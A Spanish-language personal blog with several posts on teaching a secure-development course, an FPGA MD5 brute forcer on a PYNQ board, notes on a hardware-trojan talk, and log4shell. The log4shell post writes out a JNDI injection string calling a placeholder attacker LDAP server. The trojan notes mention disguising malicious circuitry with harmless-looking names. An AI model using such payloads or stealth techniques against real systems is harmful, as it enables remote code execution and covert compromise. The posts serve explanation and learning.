2021/12/27

Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA 2021

En estos tres o cuatro meses he tenido el placer de ser alumno y docente de la Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA.

 

La convocatoria

 

La organización me contactó para ver si podía dar una "charla magistral" de una hora y media de algún tema interesante y llamativo. Pensé un rato y ofrecí, en consonancia con lo que vengo haciendo últimamente, algo de seguridad de hardware. En la conversación fue creciendo y finalmente se convirtió en una materia de 9 horas.

 

Evidencia en LinkedIn
Evidencia en LinkedIn

 

Todo un desafío, nunca había dictado algo así antes. Había conversado con la organización de los cursos del Laboratorio de Sistemas Embebidos de la Facultad de Ingeniería de la Universidad de Buenos Aires (CESE, CEIoT), donde soy docente de Ciberseguridad en IoT y, no sé si seguirá existiendo, Testing de Sistemas IoT, la posibilidad de organizar una materia optativa de esta misma naturaleza, pero medio que más que ofrecerlo lo estaba pidiendo. O mejor dicho, algún tipo de "colaboración", con algunas otras personas para armarlo y que mi rol sea más "seguridad pura" que de los aspectos más técnicos del hardware. Pero debido a que es un esfuerzo infernal, son cursos orientados a alumnos de posgrado, los docentes suelen estar extremadamente ocupados y en promedio son más responsables que yo, no se sentían capacitados y no prosperó.

En las diplomaturas la ventaja es que las condiciones de aceptación de alumnos es un tanto más relajada y la exigencia general también. Un indicador sencillo es que una diplomatura como ésta o como otra que he hecho de Seguridad Bancaria, tiene una carga de 100 horas, dos a cuatro clases por materia. 

Los otros cursos tienen 15 materias de 8 clases cada una, son 24 horas cada materia, 360 horas en total. Incluso la carga semanal es un 50% mayor, dos contra tres días por semana. Cada materia suele tener unos ejercicios heavies y se espera que el trabajo práctico consuma unas 600 horas/persona, aunque no necesariamente sean todas tuyas, vale dirigir el trabajo de otras personas.

Respecto a la carga horaria del TP de esta diplomatura, calculo que si estuviste haciendo los ejercicios durante la cursada debe ser leve, pero si lo hubiera hecho completo yo solo me hubiera llevado hasta 40 horas.

Volviendo a mi participación como docente, me encontré con el siguiente FODA, un poco retrospectivo pues en ese momento aunque intuitivamente lo apliqué no lo llegué a concientizar:

Fortalezas

Experiencia en dar clases, experiencia en investigar seguridad de hardware aunque quizás de un modo un tanto esotérico, experiencia en ciberseguridad. Equipamiento de hardware apropiado.

Oportunidades

Poner a prueba el conocimiento que vengo juntando desde hace décadas. Identificar baches.

Debilidades

Conocimiento fragmentario e incompleto, desconocimiento de normas y electrónica en general. Falta de orden.

Amenazas

No llegar en tiempo y/o forma y pasar vergüenza ante los alumnos y/o la organización.

 

Preparativos

 

En las H4CK3D y en muchas charlas internas del trabajo ya había expuesto del tema de modo fragmentario y continué haciéndolo hasta antes e incluso después de las clases.

Tomé en simultáneo la materia Micro Arquitecturas y Soft Cores del CESE, que aunque no tenía relación directa, forma parte del conocimiento de base.

 

Resultados 


Tuve muy poco feedback, sin sorpresas ("te falta un poco de orden"), no tuve la sensación de haber fallado en las dos primeras clases, quizás la tercera estuvo floja pero más por mis expectativas, no sé si se notó "para afuera". Me había propuesto mostrar una demo de Secure Boot con ESP32-S pero en parte por que no llegué a hacer las pruebas y en parte por que no le encontré que fuera realmente interesante, sólo lo expliqué en términos teóricos.

De algún modo no logré un "relato", el poder recorrer los temas de un modo hilvanado. En las charlas que doy pego saltos, que te obligan a prestar demasiada atención, imposible a lo largo de tres clases, te olvidaste. Las charlas son para gente que eligió ir específicamente (igual alguien se ha quejado), en las clases, aunque no falte a quien le interese mucho, hay que considerar que para la mayoría es una de diez materias y no precisamente la más útil o interesante.

Otra dificultad es que de todas las otras materias he recibido capacitación, tiene un poco del ¿Para qué hacés un curso de algo que ya mayormente sabés? que ya he mencionad en otro lado y para esta materia no, todo muy fragmentario y autodidacta.



Como alumno


En mi condición de docente tuve grandes facilidades económicas para ser alumno, con lo cual no fue una elección muy difícil, en todo caso si la experiencia era mala, salía con un título de utilidad moderada. La verdad es que no conocía a nadie, ni sus cualidades o defectos, es la primera edición, aposté y salió bien.

Siempre hay alguna clase que por el tema o el modo de quien la dicta es un poco más aburrida y otra más entretenida, pero no ocurrió ninguna vez que me arrepintiera. No hubieron clases malas y sí hubieron clases muy, muy buenas, lamentablemente no tomé nota, siempre confiando en que luego se puede acceder a las presentaciones y confiando de modo completamente injustificado en mi memoria.

Hubo una cierta falta de coordinación entre las materias, algunos temas se vieron repetidos, no es tan terrible, es bueno el repaso. Pero algunos temas como que se escaparon, igual nada grave.

Si se repite, si los tiempos me dan, si me dejan, probablemente asista como oyente, esta vez tomando notas.

Las clases quedan grabadas, pero la verdad es que no me gusta ver grabaciones.

 

El trabajo práctico

 

Para quienes no estamos programando todo el día y más web, fué bastante heavy. Además llegó un poco tarde y en mi caso coincidió con que como docente tenía que terminar de preparar las clases, como alumno de otra materia en otro lado tenía que terminar su trabajo práctico, un fondo de ojo que me dejó muerto justo el día de la entrega, log4shell me dejó agotado cada día de esa semana y la anterior, el día del asado del trabajo y que dí una charla de Chain of Trust y Secure Boot en el trabajo aprovechando parte del material que había usado para las clases.

Tampoco ayudó, en mi caso, un poco de actitud liebre y tortuga, liebre en mi caso. Ya que cuento con experiencia tanto en desarrollo como en seguridad, medio que aflojé un poco. Pude haber canibalizado un trabajo práctico a medio hacer del CEIoT pero me dá un poco de vergüenza y además necesitaba hacer un reajuste mental de varios días, hace meses que no toco programación web y node.

Estaba compuesto de varias partes, una relacionada a bases de datos y enmascaramiento, otra de obtener información de una virtual vulnerable, la tercera corregir una aplicación y la cuarta,  más grande que las otra dos juntas, era hacer una API, agregarle autenticación y con tests de Postman mostrar su seguridad, todas cosas que sé hacer pero en este momento no estoy "sintonizado", mi cerebro está en FPGA.


Conclusión

 

Para decirlo del modo más corto posible, espero con ansia que se repita para que asistan las personas a las que invité en esta ocasión pero por haber sido con tan poco tiempo de aviso no pudieron asistir. Y por el lado docente, para tener la oportunidad de mejorar las clases. En términos de inversión, paga, quizás no como título pues es una Licenciatura, sujeto a interpretación, pero el resto está ok.

La profundidad y extensión de los temas fue correcta así como la calidad. Me hubiera gustado tener más feedback de mi materia.



2021/12/26

H4CK3D 2021: the missing pieces

En esta entrada dejo algunas ideas y detalles apenas enunciados en la charla, quizás ya mencionados en las entradas anteriores.

 

Tambien registro mi pena por no haber podido asistir a todas las demás charlas que hubieron tanto ese día como los restantes, no me dá el, iba a decir físico, pero en este caso vendría a ser más el virtual.

 

Los componentes del ataque 


Para identificarlos e implementarlos estuve horas y horas probando, pensando, fallando, fallando y fallando. Algunas de la fallas fueron realmente estúpidas, por ejemplo intentar detectar la secuencia en el fetch o el execute. Pensá, si hay un pipeline, hay instrucciones futuras que no se van a terminar de ejecutar pues el branch las va a flushear, pero ni en el fetch ni el execute lo sabemos. Resultó el writeback el mejor lugar y quizás no empecé por ahí por que está vacío y me llevó un buen rato comprender su función.

 

¿Qué pasa con el rebote del botón?

 

Hay muy pocas probabilidades de rebote cuando es el programa el que lee el botón. A nivel del ataque, entonces no interesa, el bichito está mirando el comportamiento del programa, no de los botones. Pudo haber mirado directamente los botones y operado tambien sobre el servo, pero ya habíamos quedado en que eso lo haría mucho más detectable.

 Además queda atado a los botones, no al software que mira los botones. Ponele que hay más botones para operar con un menú, tipo las impresoras o los monitores que hacés mil cosas con cuatro botones. Mejor atarse al programa.

 

¿Qué pasa con el azar en el place and route?

 

Debido a los algoritmos utilizados, la etapa de PNR usa pseudoazar. Como todo pseudoazar (¿todo Charli? vos no sabés lo suficiente de criptografía para afirmar eso...) se puede controlar fijando la semilla, "seed". No me hizo falta ir por este lado, pero de algún modo del lado del software desactivé toda sorpresa al deshabilitar las optimizaciones.

 

Un camino no tomado

 

Había encontrado una manera medio rara pero muy compleja de conectar componentes sin pasar por la interfaz, no vale la pena pues es muy llamativo. Sin embargo sospecho que si tomamos el .bliff...


.gate SB_LUT4 I0=buttons[2] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[2] O=buttons_SB_LUT4_I0_O[0]
.attr module_not_derived 00000000000000000000000000000001
.attr src "/usr/local/bin/../share/yosys/ice40/cells_map.v:26.33-27.52"
.param LUT_INIT 0000011101110111
.gate SB_LUT4 I0=buttons[1] I1=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[0] I2=icicle.rv32.execute.ebreak_out_SB_LUT4_I2_O_SB_LUT4_O_I2_SB_LUT4_O_I1_SB_LUT4_O_I3_SB_LUT4_I2_O_SB_LUT4_I3_O_SB_LUT4_I2_O[2] I3=icicle.leds[1] O=buttons_SB_LUT4_I0_1_O[3]



...sería posible agregar componentes y conexiones que no estén en el fuente Verilog, sería una mejora de un orden de magnitud al ataque y candidato a una charla para el año que viene, implica adquirir un tipo de conocimiento muy de nicho, todo lo que aprendí hasta acá es reutilizable y compartible, eso no lo sería.

 

¿Por qué querríamos no pasar por la interfaz? 

 

Para que una inspección superficial no ponga en evidencia la irregularidad. Si mirás el código fuente verás que los nombres son bien explícitos, clara ayuda para mí pero no para lo furtivo. Apuesto a que si se ponen nombre tipo cache_sync nadie se da cuenta.

 

 





2021/12/21

Forzador MD5 en PYNQ, el software


Siguiendo los pasos detallados anteriormente, no bien creás el IP, te aparecen los drivers en:

./ip_repo/MD5_Brute_Forcer_1.0/drivers/MD5_Brute_Forcer_v1_0/src/MD5_Brute_Forcer.h

 

Los valores de desplazamiento de cada registro son:

#define MD5_BRUTE_FORCER_S_AXI_SLV_REG0_OFFSET 0
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG1_OFFSET 4
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG2_OFFSET 8
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG3_OFFSET 12
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET 16
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG5_OFFSET 20
#define MD5_BRUTE_FORCER_S_AXI_SLV_REG6_OFFSET 24

 y algunas funciones

#define MD5_BRUTE_FORCER_mWriteReg( \
  BaseAddress, RegOffset, Data) \
    Xil_Out32((BaseAddress) + \
  (RegOffset), (u32)(Data))

#define MD5_BRUTE_FORCER_mReadReg(BaseAddress, RegOffset) \
    Xil_In32((BaseAddress) + (RegOffset))



XStatus MD5_BRUTE_FORCER_Reg_SelfTest(void * baseaddr_p);

 

Tras generar el bitstream, exportar el hardware, abrís la SDK

 

Comprobás que exista lo tuyo, en mi caso MD5_Brute_Forcer:

 

En system.hdf vemos MD5_Brute_Forcer
En system.hdf vemos MD5_Brute_Forcer


Creás entonces una nueva "Application Project" con template de "empty application", que te va a crear una carpeta con el nombre que le pongas con sufijo _bsp. En mi caso, en:

./md5_brute_forcer/md5_brute_forcer.sdk/brute_forcer_bsp/ps7_cortexa9_0/include/

en xparameters.h  te define:


/* Definitions for peripheral MD5_BRUTE_FORCER_0 */
#define XPAR_MD5_BRUTE_FORCER_0_DEVICE_ID 0
#define XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR 0x43C00000
#define XPAR_MD5_BRUTE_FORCER_0_S_AXI_HIGHADDR 0x43C0FFFF

tambien verás que MD5_Brute_Forcer.h ahora está en 

brute_forcer_bsp/ps7_cortexa9_0/include/MD5_Brute_Forcer.h

Creás un main.c

Un problema que no puede resolver es que los archivos xgpio.h  xgpio_l.h que proveen la resolución del nombre de las funciones más básicas de lectura y escritura en la memoria, no están siendo generados o incluidos. Lo que he hecho es tomarlos de uno de los ejercicios y copiarlos en 

brute_forcer_bsp/ps7_cortexa9_0/include/


Llegado este punto, hay que grabar el bitstream, "Xilinx" -> "Program FPGA" por un lado y ejecutar el programa por el otro con botón derecho sobre la aplicación, "Run as" -> "launch on hardware (GDB)" y usando por ejemplo 

miniterm.py  /dev/ttyUSB1  115200 


y a disfrutar de los resultados.

 

Un pipeline
Un pipeline


Dos pipelines
Dos pipelines

Cuatro pipelines
Cuatro pipelines


Como notarás:

En waited dice cuando charlyseconds demoró, va decreciendo.

En found plin plin plin at pipeline tal de tantas ves como evoluciona de 1 a 4 pipelines. El pipeline que lo halló es 1,2,4,8, si mirás el registro, entenderás.

Con los valores 200 a 203, como al valor hay que sumarle el pipeline donde fué hallado.

Y lo más notorio, hay un desplazamiento entre el valor esperado y el obtenido, es algo que siempre ha ocurrido, en las simulaciones tambien, me falta diagnosticar, por ahora se va a tener que ajustar desde el software, al igual que los primeros y últimos valores que no los puede hallar, motivo de otra entrada futura.

Y más notorio aún, para cuatro pipelines falla para un número relativamente bajo, tengo que revisar bien, pero me puede llevar mucho tiempo y como no hace a la implementación de software, por hoy no me preocupo.


Estos resultados no salen de un repollo, veamos el programa main.c, antes recordemos, recordemos, no, no recordemos, es de una entrada futura pero que estoy haciendo a la vez, en la del futuro digo que "de paso agrego más valores a los registros", pero bueno, aceptemos este efecto sobrenatural.


Registros
Registros


Lo primero es adaptar las primitiva provistas por el driver de bajo nivel a algo más usable.

Para habilitar y deshabilitar hay que escribir 1 y 0 en el registro 4, eso se obtiene de esta base y desplazamiento:


XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR

MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET

Las funciones son:

void enable() {
     MD5_BRUTE_FORCER_mWriteReg(
         XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
         MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET, 1
         );
}

void disable() {
    MD5_BRUTE_FORCER_mWriteReg(
      XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
      MD5_BRUTE_FORCER_S_AXI_SLV_REG4_OFFSET, 0
    );
}


Para escribir el hash hay que escribir 4 registros de 32 bits en los registro 0 a 3:

void setHash(unsigned int r3,
             unsigned int r2,
             unsigned int r1,
             unsigned int r0) {
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG3_OFFSET, r3
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG2_OFFSET, r2
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG1_OFFSET, r1
    );
    MD5_BRUTE_FORCER_mWriteReg(
       XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
       MD5_BRUTE_FORCER_S_AXI_SLV_REG0_OFFSET, r0);
}



Para leer el resultado, está en el registro 5:


unsigned int readTarget() {
        return MD5_BRUTE_FORCER_mReadReg(
         XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
         MD5_BRUTE_FORCER_S_AXI_SLV_REG5_OFFSET );
}


Para leer cuantos pipelines hay y cuál tuvo el hit, hay que leer el registro 6 y extraer los bits necesarios:


unsigned int readStatus() {
     return MD5_BRUTE_FORCER_mReadReg(
          XPAR_MD5_BRUTE_FORCER_0_S_AXI_BASEADDR,
          MD5_BRUTE_FORCER_S_AXI_SLV_REG6_OFFSET
     );
}


Lo mismo para la cantidad de pipelines y cuá halló el resultado:

unsigned int readPipelineCount() {
    unsigned int status = readStatus();
    return ( status & 0x0000f000 ) >>12;
}

unsigned int readPipelineHit() {
    unsigned int status = readStatus();
    return status >> 16;
}


Para mostrar los bits de estado:

void printStatus(const char * tab) {
    unsigned int status = readStatus();
    printf("%s",tab);
    if (status & 0x1)  printf("paused ");
    if (status & 0x2)  printf("running ");
    if (status & 0x4)  printf("warming ");
    if (status & 0x8)  printf("found ");
    if (status & 0x10) printf("done ");
    if (status & 0x20) printf("enabled ");
    if (status == 0) printf("errorNoStatus ");

    printf("\r\n");
}


Y eso es todo, otra vez anticipando el futuro, cuando pueda prescindir de los printf probablemente pueda usar un microblaze en la Nexys4DDR, quizás a la vez hacer un IP sin AXI pues no creo que entren los ocho pipelines y el microblaze a la vez.






2021/12/20

Reflexiones log4shell

Todo el mundo está desesperado, toca opinar de log4shell.

Breve explicación

 

Considerá que aunque he sabido programar en java no soy javero y menos con sistemas medianamente complejos que utilizan log4j. Mejores explicaciones hay por todos lados, esto es lo más corto y útil que puedo producir, pero quizás no sea del todo cierto.

Log4j es un framework de logs de java. Recibe mensajes y de algún modo los envía a algún lado, archivo, syslog, lo que sea. En el medio le hace transformaciones como agregar metadata. Por ejemplo para agregar la versión de java, se hace así:

 

${java:version}

 

Lo cual es completamente útil y legítimo. También es útil y legítimo utilizar JNDI (Java Naming and Directory Interface) que puede consultar al menos a LDAP y traerse un objeto. Ya se empieza a poner turbio. 

Un atacante puede suponer qué es lo que se está dejando en el log, por ejemplo "username" y poner como "username" algo como:

 

${jndi:ldap:servidoratacante.com/exploit}

 

No me quiero meter en detalles pues las URLs que he visto son un poco distintas. Dejo esa pues me armé una POC con jetty y log4j 2.14 y marshalsec como ldap y hay hits. Quizás no sirva para explotar pero si para detectar la versión vulnerable.

Volviendo a la URL, de algún modo se bajaría una clase compilada java con el comportamiento deseado por el atacante. No me queda aun del todo claro si lo baja directamente o es una referencia a otra url, pero en función de mis reflexiones es irrelevante. Si más adelante le dedico tiempo y lo resuelvo bien, cuando haya pasado la tormenta publicaré.

 

Reflexión: respuesta al incidente


Seguramente ocurrió con otras vulnerabilidades, pero es la primera vez que lo noto, el efecto "double-tap strike".

Le he asociado este nombre pues de algún modo lo veo parecido a un ataque y su repetición, el primero para atraer a los equipos de respuesta y el segundo para los equipos de respuesta, dejando de lado que acá no hay ataque, es sólo una vulnerabilidad, pero el requerimiento de las áreas de ciberseguridad a las de desarrollo e infraestructura para que la solucionen bien puede verse como tal.

Ha ocurrido que la gente de devops ha salido corriendo a actualizar a 2.15, lo cual implica trabajo, sólo para encontrarse con que inmediatamente debe pasar a 2.16 y mientras escribo esto a 2.17. Aunque es verdad que el impacto de analizar el cambio de 2.x a 2.15 o 2.16 ya está hecho, de todos modos es un retrabajo.

Lo que hay que tener en perspectiva, es que es más importante salir de 2.x que llegar a 2.16 o 2.17, pues las vulnerabilidades de 2.15 y 2.16 tienen mucho menor impacto que las de 2.x... por ahora.

 

Reflexión: la configuración


El haber actualizado no alcanza, pues no hay una vulnerabilidad en los mecanismos que se están utilizando, sólo que la configuración por defecto tiene esos mecanismos habilitados. O sea, debe haber alguien que está utilizando de modo legítimo:


 ${jndi:ldap:servidor.legitimo/funcionalidad}

 

De modo tal que al pasar a 2.15 - 2.17 va a tener que cambiar la configuración para que le siga funcionando.

A menos que hubiera cambiado antes la configuración de modo explícito, en cuyo caso en la 2.15 - 2.17 va a seguir activo el bug, ¿no?


Entonces, aunque claramente es correcto actualizar, la realidad definitiva está en probar o al menos buscar opciones de configuración que activen la vulnerabilidad. 

Esto se reduce a  ¿qué pasa si le estás dando un uso legítimo a esa funcionalidad?

Quizás la mejor solución sea como el tratamiento de eval() de varios lenguajes, esto es, pedirle al intérprete que tome texto como código y lo ejecute: No usarlo e implementar otra forma para resolver tu requerimiento.

 

Actualización

 

Con la versión 2.17 se eliminó completamente la funcionalidad, no hay configuración que valga.


https://logging.apache.org/log4j/2.x/


Forzador MD5 en PYNQ, el hardware

Este es el detalle del trabajo práctico de la materia Micro Arquitecturas y Soft Cores, ya comentada previamente.

El objetivo es instanciar el Forzador Brutal de MD5 en un chip ZYNQ de una placa PYNQ-Z2 proveniente de una Nexys4DDR que es más grande, ya habiendo fracasado durante la cursada de Basic Digital Design agregando VIO e ILA como interfaz. En esta oportunidad la interfaz será AXI hacia los cores donde se ejecutará un programita escrito en C.

 

Pasos

Necesito saber previamente algunos datos:

Número de registros para el periférico AXI

  • para determinar el hash (input, 128 bits, 16 bytes, 4 registers )
  • para obtener el valor (output, 32 bits, 4 bytes, 1 register)
  • control para iniciar proceso (input, 1 bit, 1 register)
  • status (output 3 bits, 1 register)
    • running
    • found
    • done

Son 7 registros.

 

Respecto a estos pasos, tengo un fuerte Déjà vu, es que ya lo he hecho antes pero entendiendo menos al hacer los ejercicios de dos libros.

 

Crear el IP

  • Tasks -> manage IP -> New IP Location
    • Part: xc7z020clg400-1
    • Target Language: Verilog
    • Crear y seleccionar una carpeta, en esta aparecerá todo lo que cree Vivado
  •  Tools -> Create and Package New IP
    • Create a new AXI4 peripheral
    • Name: ip_md5
    • Number of registers:7
    • Interfaces: quizás quitar el "00"
    • Next Step: Edit IP
  • Copiar los archivos del proyecto original a  ip_repo/ip_md5_1.0/hdl
    • Agregarlos con Add Design Sources
      • mejor NO copy sources into IP Directory
    • en este momento
      • ya se ha creado el C con los drivers de bajo nivel
      • es buena idea hacer un commit
  • Editar el ip de S_AXI, ip_md5_v1_0_S_AXI_inst
    • Acá va la magia, ver luego
  • Flow -> Run Synthesis
  • Flow -> Package IP 
    • identification
      • add category
    • file groups
      • merge changes from file groups wizard
    • customization parameters
      • merge changes from customization parameters wizard
    • ports and interfaces
      • hay que ver que esté lo que hayas puesto, en este caso status
    •  review and package
      • re-package IP
  • Otro buen momento para un commit 
  • close project 

 

 Crear el proyecto

  • File -> project -> new
    • location lo puse a la par que ip_repo
    • varios next
    • choose board -> pynq-z2
    • varios next
  • Settings 
    • Project Settings
      • IP
        • Repository -> ADD
          • lo del paso Crear IP
  • IP Integrator -> Create block design
  • Add IP -> zynq
  • run block automation
  • re-customize IP ( doble click)
    • ps-pl configuration 
      • general
        • enable clock resets
          • fclk_reset0_n
      • Axi non secure enablement
        • gp master axi interface
          • m axi gp0 interface ON
    • MIO Configuration
      • I/O Peripherals
        • UART 0 -> MIO 14::15
    • clock configuration
      • pl fabric clocks
        • fclk_clk0 -> 100
  • Add  IP ->
  • run connection automation
  • si tenías ports
    • make external
    • agregar el xdc y ajustarlo
  • validate design
  • source ->design_1.bd -> create hdl wrapper
  • source -> design_1.bd -> generate output products (paciencia)
  • Program and debug
    • generate bitstream (más paciencia)
  • file
    • export
      • export hardware -> include bitstream
  • file
    • launch sdk

SDK

  • comprobar en system.hdf que esté la IP y la uart
  • comprobar que en wrapper platform esten los drivers 
  • file
    • new
      • application project
        • empty application template
        • comprobar bsp-> ps7_cortexa9_0-> include -> ip_md5.h
  • el programa en C que quieras, otro día vemos más detalles.
  • botón derecho sobre el proyecto -> run as -> launch on hardware (GDB)
  • un segundo antes abriste la terminal:
    • miniterm.py  /dev/ttyUSB1  115200
    • y para un programa muy sencillo:

printf("MD5 Brute Forcer SelfTest\r\n");
   MD5_ACCELERATOR_Reg_SelfTest(
   XPAR_MD5_ACCELERATOR_0_S_AXI_BASEADDR
);

    • una salida muy sencilla:

Salida seft test
Salida seft test


Detalles

 

En el comienzo me equivoqué con el conteo de registros, pensé que eran 6, sin embargo fue intutitiva la corrección del hdl generado. Como por otros motivos tuve que arrancar de cero, al comparar la nueva generación con lo corregido comprobé que la corrección fué correcta.


Respecto a la paciencia en "Generate Output Products", nunca avisa que termina y arriba a la derecha el iconito de trabajando queda activo y dice "Synthesis out-of-date_". La manera de saber cuando ha terminado es mirando en la ventanita de Design Runs.


output products corriendo
output products corriendo

output products corriendo
output products finalizado


La magia


Primer nivel del wrapper


Si tu IP no usa puertos, no hay nada que tocar. En mi caso, para diagnosticar puse unos puertitos y se los conecté.

va en la interfaz:

      output wire [5:0] status,

en la instanciación de S_AXI:

      .status(status),

 

Segundo nivel del wrapper


Si tu IP no usa puertos, no hay nada que tocar en la interfaz, en este caso si, entonces:

        output wire [5:0] status,

Luego van los registros de salida:

    // Add extra user logic register here
    
    wire [C_S_AXI_DATA_WIDTH-1:0]    target_o;
    wire [C_S_AXI_DATA_WIDTH-1:0]    status_o;

    // I/O Connections assignments

En donde se leen, hay que reemplzar los registros slaves por estos nuevos:

// Address decoding for reading registers
case ( axi_araddr[ADDR_LSB+OPT_MEM_ADDR_BITS:ADDR_LSB] )
    3'h0   : reg_data_out <= slv_reg0;
    3'h1   : reg_data_out <= slv_reg1;
    3'h2   : reg_data_out <= slv_reg2;
    3'h3   : reg_data_out <= slv_reg3;
    3'h4   : reg_data_out <= slv_reg4;
    3'h5   : reg_data_out <= target_o;
    3'h6   : reg_data_out <= status_o;
    default : reg_data_out <= 0;
endcase


Y por último, la conexión de cada bit de status al registro de status y la instanciación de nuestro IP:

// Add user logic here
    assign status = {status_o[0],status_o[1],
    status_o[2],status_o[3],
    status_o[4],status_o[5]};
       
    driver driver (
       .CLK(S_AXI_ACLK),
       .CPU_RESETN(S_AXI_ARESETN),
       .target_selected({slv_reg3,slv_reg2,slv_reg1,slv_reg0}),
       .enable_switch(slv_reg4[0]),
       .target(target_o),
       .status_paused(status_o[0]),
       .status_running(status_o[1]),
       .status_warming(status_o[2]),
       .status_found(status_o[3]),
       .status_done(status_o[4]),
       .enabled(status_o[5])
    );
    // User logic ends

 

Cuando metés la pata en el IP


La recomendación que he recibido y que sufrí no respetar, es si algo está mal, empezar otra vez de cero. Me parece que no hace falta tanto como de cero, estoy seguro que cuando incorporé los puertos de diagnóstico no lo hice, pero si tirar la sdk.

 

Edición del IP


  • Tasks -> manage IP -> Open IP Location
  • elegir el ip -> edit in IP Packager
  • Corregir el HDL
    • Acá va la magia, corregida
  • Flow -> Run Synthesis
  • Flow -> Package IP 
    • quizás File Groups
    •  review and package
      • re-package IP

 

Editar el proyecto


  • File -> project -> recent
  • IP Integrator -> open block design
    • aparece un mensaje diciendo que hay que hacer upgrade
    • report ip status
      • upgrade selected
    • te ofrece generate output products (paciencia)
    •  
  • Program and debug
    • generate bitstream (más paciencia)
  • [opcional] borrar el .sdk para evitar conflictos
  • file
    • export
      • export hardware -> include bitstream
  • file
    • launch sdk


Respecto a borrar el sdk antes de reexportar, no te olvides de tener copia o todo versionado para recuperar lo que ya hayas hecho. Debido a que mi IP usa Xil_In  y Xil_out, provistos por xgpio.h, cada vez tuve que restaurarlos, obtenidos originalmente de lo generador por uno de los labs.

 

Simulación


Agregué un test bench conectado al componente y a ese testbench lo puse como top. Si ejecutas la simulación con el wrapper como top, estás muerto, tendrías que generar los estímulos para AXI, olvidate...



Notas relacionadas por el lado de EAMTA 2021:

 

2021/12/19

MAySC 2021 con el Forzador Brutal de MD5 en PYNQ-Z2 y Vivado 2018.2

He tenido el privilegio y placer de cursar Micro Arquitecturas y SoftCores a cargo de Nicolás Álvarez, excelente, no hay nada más que decir.

 

Había cursado la materia anterior también a su cargo, Circuitos Lógicos Programables, pero fué hace mucho y entre que olvidé algunas cosas como por ejemplo VHDL pues todos mis proyectos han sido en Verilog y que la materia incorporó algunos temas nuevos como VIO, ILA y uso de placas remotas, tuve unos ciertos apuros. Debido a que tengo una placa compatible con los laboratorios y no había exigencia en utilizar las placas remotas, había visto VIO e ILA en otro excelente curso Basic Digital Design con el Colo y Ariel Pola y ya había practicado algunos temas por mi parte de algunos libros y varios proyectos, no lo sufrí.

 

¿Para qué hacés un curso de algo que ya mayormente sabés?

 

Bueno, para empezar no sé tanto. Por un lado no trabajo de esto así que todo lo que aprendo lo voy olvidando paulatinamente por falta de uso, el "recursar" me lo refresca. Por otro lado, no es lo mismo lo que uno aprende de un libro, de un video, de experimentar en soledad que de una clase interactiva y más cuando quien enseña es del calibre de Nicolás.

 

El hardware


El curso se dicta con Vivado 2018.1 por que hay unas placas ArtyZ7-10 disponibles en el servidor que está con esa versión.


Yo ya tengo dos ZYNQs, una Parallella que es parecida a la Arty por el SoC (xc7z010clg400-1) pero no tiene nada de botones, switches y leds, sobre la cual intentaré publicar algo en un futuro cercano y una PYNQ-Z2, que vengo usando hace rato y su única diferencia a efectos prácticos del curso es que el SoC es xc7z020clg400-1, los ejercicios son menos que minúsculos como para que haga diferencia.

Respecto a Vivado 2018.1 vs Vivado 2018.2, no hallé diferencia...

 

El trabajo práctico

 

Los alumnos regulares tienen la posibilidad de hacer algo en el marco de su trábajo práctico de especialización. Eso me deja con hacer algo suficientemente difícil pero inútil o ver de reflotar alguna tarea del backlog y mirando mirando ¿qué mejor que tomar el queridísimo Forzador Brutal de MD5 y portarlo a la PYNQ aplicando las técnicas de encapsulamiento en IPs e interfaceando con los microprocesadores?

Durante la cursada de Basic Digital Design había fracasado en portar de Nexys4DDR a PYNQ-Z2 agregándole VIO e ILA. Lamentablemente no recuerdo bien cómo se manifestó ese fracaso, probé de usar un pipeline menos, la mitad. De hecho tomé esa versión con la mitad para este TP. Finalmente, como estaba trabado en un problema que no lograba resolver, reduje a dos pipelines para que Nicolás pudiera ayudarme. En el proceso de comprobar la correcta adaptación descubrí que no había hecho la adaptación correcta a cuatro pipelines y eso explica probablemente el fracaso anterior.

Otros errores que cometí fueron:

El reset lo invertí para dianosticar y me olvidé de revertirlo hasta que lo recordé.

Conecté un registro de entrada como uno de salida, mmh.

 

Un error no tan error 

 

No hice simulaciones desde el primer momento, pero de todos modos, el error más importante, el de la adaptación a menos pipelines, no saltaba en las simulaciones.

 

¿Qué me queda para hacer?

 

En las próximas notas explicaré como transité lo del hardware y el software del trabajo práctico. Luego intentaré parametrizar la cantidad de pipelines para poder usarlo indistintamente en la Nexy4DDR con 8, en la PYNQ con 4 y en la Parallella con 2, esto último tras haber tomado el control tanto tiempo postergado.


2021/11/27

Preparación para la certificación AWS Cloud Practitioner

